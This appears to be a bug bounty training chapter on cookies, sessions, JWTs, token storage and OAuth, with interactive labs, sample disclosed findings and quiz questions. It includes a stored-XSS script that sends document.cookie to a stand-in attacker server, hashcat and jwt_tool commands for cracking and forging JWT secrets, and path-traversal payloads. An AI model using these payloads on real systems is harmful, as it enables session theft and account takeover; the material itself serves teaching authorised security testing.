← Return to Ledger
MODULE_03 // AUTH MATRIX DESIGN

Cookies, Sessions, Auth Tokens & JWTs

OPERATIONAL OBJECTIVE

Authentication is the single most exploited attack surface in bug bounty programs. This chapter tears apart how the web remembers who you are — cookies, sessions, JWTs, and OAuth — and shows exactly where that memory breaks down. Every major account takeover starts here.

Concept 1: What is a Cookie?

A cookie is a small key-value string the server sends to your browser via a Set-Cookie response header. The browser stores it and automatically attaches it to every future request to that domain inside a Cookie header — no JavaScript required.

Server → Browser (sets the cookie)HTTP/1.1 200 OK
Set-Cookie: session=abc123xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600
Browser → Server (echoes it on every request)GET /dashboard HTTP/1.1
Host: target.com
Cookie: session=abc123xyz789

Cookie Security Flags — Every Flag Matters

🏆 Bug Bounty Reality
Real-world findings from the last 3 years: missing HttpOnly + stored XSS = confirmed Critical ATO. Missing SameSite + CSRF = High severity. Cookie scoped to Domain=.target.com + subdomain takeover = Critical. These flags are your checklist every time you see a session cookie.
⚡ Lab: Cookie Security Scorer

Toggle flags to see how each one affects real attack surface. Watch the security score drop as you remove protections.

Generated Set-Cookie HeaderSet-Cookie: session=abc123xyz; HttpOnly; Secure; SameSite=Lax; Max-Age=3600; Path=/
100 Security Score SECURE
CRITICALVULNERABLEMODERATESECURE
XSS Cookie Theft
BLOCKED — HttpOnly prevents JS access
CSRF Attack
BLOCKED — SameSite=Lax stops cross-site POST
Network Sniffing (HTTP)
BLOCKED — Secure flag enforces HTTPS only
Session Persistence Risk
LOW — Token expires after 1 hour

Concept 2: Server-Side Session Authentication

The classic model: the server remembers you. After login, a random session ID is generated, stored server-side (in a database or Redis), and handed to your browser as a cookie. On every request, the server looks up that ID to find who you are.

Session Auth — Request/Response Flow
Actor
Action / Payload
Note
Browser
POST /login { user, password } Credentials sent
Server
Verify credentials against DB Password hash check
Database
Store: sessions["abc123"] = {uid:42, role:"user", exp:+1hr} Server-side state
Server
Set-Cookie: session=abc123; HttpOnly; Secure Token sent to browser
Browser
GET /dashboard Cookie: session=abc123 Every request
Database
Lookup "abc123" → uid:42, role:user ✓ DB hit per request
🔍 Attacker Perspective
The session ID is just a random pointer string (abc123xyz). The server trusts it completely. If you steal it — via XSS, network sniffing, or log exposure — you ARE that user. The server cannot distinguish you from the real person. This is why session fixation, session riding, and XSS-to-ATO chains are so powerful.

Session Attack Vectors

Concept 3: JSON Web Tokens (JWT)

JWTs flip the model: instead of storing state on the server, the server encodes everything into a signed token and gives it to the client. The server just verifies the signature on each request — no database lookup needed. This scales well but creates a completely different attack surface.

JWT Structure — Three Base64URL-encoded segments separated by dotseyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9    ← HEADER  (red)
.
eyJ1c2VySWQiOjQyLCJyb2xlIjoidXNlciJ9    ← PAYLOAD (cyan)
.
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQ  ← SIGNATURE (grey)
⚠️ Critical Misconception
JWT payload is NOT encrypted. It is only Base64URL-encoded — anyone can decode it instantly. Never put passwords, secrets, or sensitive PII in JWT payloads. Developers who confuse encoding with encryption create real data exposure bugs worth reporting.
⚡ Lab: JWT Anatomy & Attack Simulation

Interact with the token. Inject attack vectors and watch the payload shift. All attacks below are real PortSwigger lab categories.

Raw Token String
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjQyLCJyb2xlIjoidXNlciIsImV4cCI6MTcwMDAwMDAwMH0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Decoded Token State
// HEADER
{"alg": "HS256", "typ": "JWT"}

// PAYLOAD
{"userId": 42, "role": "user", "exp": 1700000000}

// SIGNATURE
Status: VALID ✓
Token appears legitimate. Server would accept this.

JWT Attack Vectors — Full Catalogue

hashcat — brute-force a weak JWT HMAC secrethashcat -a 0 -m 16500 \
  "eyJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoidXNlciJ9.abc123" \
  /usr/share/wordlists/rockyou.txt

# If cracked, forge a new token with jwt_tool:
python3 jwt_tool.py TOKEN -T -S hs256 -p "found_secret"

Concept 4: Authentication vs. Authorization

Confusing these two is one of the most common reasons access control bugs exist in the first place. They are entirely separate gates.

Concept Question it Answers Failure = Bug Class Severity Range
Authentication (AuthN) Who are you? Verify identity via credentials, tokens, or certificates. Broken login, credential stuffing, session theft, MFA bypass Critical / High
Authorization (AuthZ) What can you do? Check if the authenticated identity has permission for this action. IDOR, broken access control, privilege escalation (vertical/horizontal) High / Medium
🧠 Real Example
You log in successfully (AuthN ✓). Then you change the URL from /api/orders/1001 to /api/orders/1002 — and see someone else's order (AuthZ ✗). The app knew who you were but didn't check whether you owned that resource. That's an IDOR — covered in depth in Chapter 9.

Concept 5: Token Storage — Where Things Live and What That Costs

Where a token is stored determines how it can be stolen. Each storage location has a completely different threat model.

XSS = instant ATO Persists indefinitely No CSRF risk

Survives browser restarts — convenient for users, dangerous for security. Any JavaScript running on the page can read it: localStorage.getItem('token'). A single stored XSS payload silently exfiltrates all tokens from every visitor. Popular with SPAs and React apps — check Application → Local Storage in DevTools during every engagement.

XSS = instant ATO Cleared on tab close No CSRF risk

Same JS exposure as localStorage — sessionStorage.getItem('token') works identically. The only difference is it clears when the browser tab closes. Still fully exploitable via XSS during an active session. Not meaningfully safer than localStorage for an attacker who controls script execution.

No CSRF risk Token must live somewhere readable by JS Standard for APIs

SPAs often send JWTs in the Authorization: Bearer <token> header. The header itself is secure in transit, but the token has to be stored somewhere on the client to be attached — usually localStorage, inheriting all its risks. APIs that accept Bearer tokens are immune to CSRF but depend entirely on the storage location's security.

StorageReadable by JS?XSS RiskCSRF RiskPersists?Best For
Cookie (HttpOnly) No Blocked Medium (SameSite fixes it) Configurable Session tokens
localStorage Yes Critical None Forever Non-sensitive prefs only
sessionStorage Yes Critical None Tab lifetime Short-lived non-sensitive
Authorization header Depends on storage Inherited None Depends API auth (mobile/SPA)

Concept 6: OAuth 2.0 & OpenID Connect (OIDC)

Nearly every "Login with Google / GitHub / Facebook" button uses OAuth 2.0. Bug bounty programs are full of OAuth misconfigurations because the flow has many moving parts that developers implement incorrectly. You need to understand this to hunt modern auth bugs.

OAuth 2.0 Authorization Code Flow

Actor
Step
Security Note
Browser
Click "Login with Google" Initiates flow
App Server
Redirect to accounts.google.com/o/oauth2/auth?client_id=...&redirect_uri=...&state=RANDOM state = CSRF protection
Browser
User logs in at Google, approves scopes On Google's domain
Browser
Google redirects to app.com/callback?code=AUTH_CODE&state=RANDOM One-time code
App Server
Exchange code for access token (server-to-server) Never exposed to browser
OAuth Provider
Returns access_token, id_token, refresh_token OIDC: id_token is a JWT

OAuth Bugs That Pay — Bug Bounty Targets

🏆 Real Finding: OAuth redirect_uri bypass
Common technique: app validates redirect_uri=https://app.target.com/callback but doesn't validate the path. Attacker submits redirect_uri=https://app.target.com/callback/../../../attacker-controlled-path. If path traversal works, auth code lands on attacker's endpoint. Reported for $5k-$20k on major programs.

Concept 7: Real-World Bug Bounty Findings in This Category

These are representative findings from public HackerOne/Bugcrowd disclosures in the auth/session category. Study the attack chain — this is what reports look like.

Critical — ATO
JWT alg:none Accepted on Password Reset
App used JWTs for password reset links. Server accepted alg:none. Attacker forged a reset token for any email address, stripping the signature. Full account takeover without knowing credentials.
$10,000+
Critical — ATO
Session Token in URL + Log Exposure
Legacy API endpoint passed ?session=TOKEN in GET requests. Token appeared in Apache access logs which were exposed via a misconfigured /logs/ directory — unauthenticated read access to millions of session tokens.
$8,500
High — CSRF + Session Ride
Missing SameSite + CSRF Token on Fund Transfer
Banking app set session cookie without SameSite and had no CSRF token on fund transfer endpoint. Attacker hosted a page with a hidden form. Any authenticated user visiting the attacker's page would silently transfer funds.
$4,200
High — Auth Bypass
JWT kid Path Traversal → Empty Secret
Server read HMAC signing key from filesystem using the kid header value. Injecting ../../../dev/null caused the server to sign with an empty string — trivially re-signable. Attacker escalated role from user to admin.
$3,750
Medium — Info Disclosure
Sensitive PII in JWT Payload
JWT payload (Base64-decoded) contained full name, SSN last 4, and internal user tier. No encryption. Any frontend JS or browser extension could extract this. Reported as privacy violation + potential privilege inference.
$1,500
Medium — Persistent ATO
No Session Invalidation on Logout
Session ID in cookie remained valid server-side after logout. Attacker who captured a session token (e.g., via XSS earlier) could continue using it days after the victim "logged out". No expiry enforcement.
$900

Concept 8: Full Attack Chain — XSS → Session Theft → ATO

Understanding how vulnerabilities chain together is what separates Critical reports from Medium ones. Here's how a missing HttpOnly flag becomes a full account takeover.

1
Identify Stored XSS Injection Point

Find a user-controlled input (profile bio, comment, product review) that reflects unsanitized HTML back to other users. E.g.: <img src=x onerror="...">

2
Verify Missing HttpOnly Flag

Open DevTools → Application → Cookies. Confirm the session cookie does NOT have the HttpOnly flag checked. If it does, this chain is blocked — look for localStorage instead.

3
Inject Session Exfiltration Payload

Inject: <script>new Image().src="https://your-server.com/steal?c="+document.cookie</script>. When any authenticated user views the page, their cookie is silently sent to your server.

4
Capture Token on Listener

Start a simple listener: python3 -m http.server 8080 or use Burp Collaborator. Incoming requests carry the victim's session ID in the query string.

5
Replay the Token

In Burp Repeater (or browser DevTools → Application → Cookies → edit), replace your session cookie value with the captured one. Refresh the page. You are now authenticated as the victim — full ATO achieved.

6
Document & Report

Screenshot each step. Note the missing HttpOnly flag as the root cause, XSS as the delivery vector, and ATO as the impact. This chain typically qualifies as Critical severity.

Concept 9: Essential Tools for This Chapter

ToolPurposeKey Command / Usage
jwt.io Decode & inspect JWT tokens in-browser Paste any eyJ... token. Instantly see header, payload, verify signature.
jwt_tool JWT attack automation (alg:none, confusion, brute-force) python3 jwt_tool.py TOKEN -T (tamper mode)
hashcat Brute-force weak HMAC JWT secrets hashcat -a 0 -m 16500 token.txt rockyou.txt
Burp Suite Intercept, modify, replay cookies & tokens Proxy tab → intercept requests → edit Cookie header values directly
DevTools (F12) Inspect storage, cookies, auth headers Application tab → Cookies / Local Storage / Session Storage
Burp JWT Editor Visual JWT attack interface inside Burp Extensions → BApp Store → install "JWT Editor". New tab in Request viewer.

Chapter 3 Operational Checklist

0 / 14
COMPLETE
Core Reading
Hands-On Drills
Knowledge Checks
Q1 — XSS → ATO Chain

Walk through, step-by-step, how a missing HttpOnly flag escalates a reflected XSS from a P3 to a P1. What does the exploit payload look like, and what does the attacker do with the captured token?

Q2 — JWT Signature Bypass Methods

Name three distinct JWT attack vectors that result in forged tokens. For each: what server-side misconfiguration enables it, and what does the attacker change in the token?

Q3 — Storage Decision

A developer asks you: "Should I store the JWT in localStorage or a cookie?" Give the security argument for each option, and explain under what conditions each is acceptable.

Q4 — OAuth State Attack

Describe the OAuth CSRF attack that exploits a missing or static state parameter. What is the attacker's goal, and what does the victim need to do for the attack to succeed?

Q5 — AuthN vs AuthZ

A user is authenticated (logged in) but accesses /api/admin/users without admin privileges — and the server returns the data. Is this an authentication bug or an authorization bug? What OWASP category does this fall under?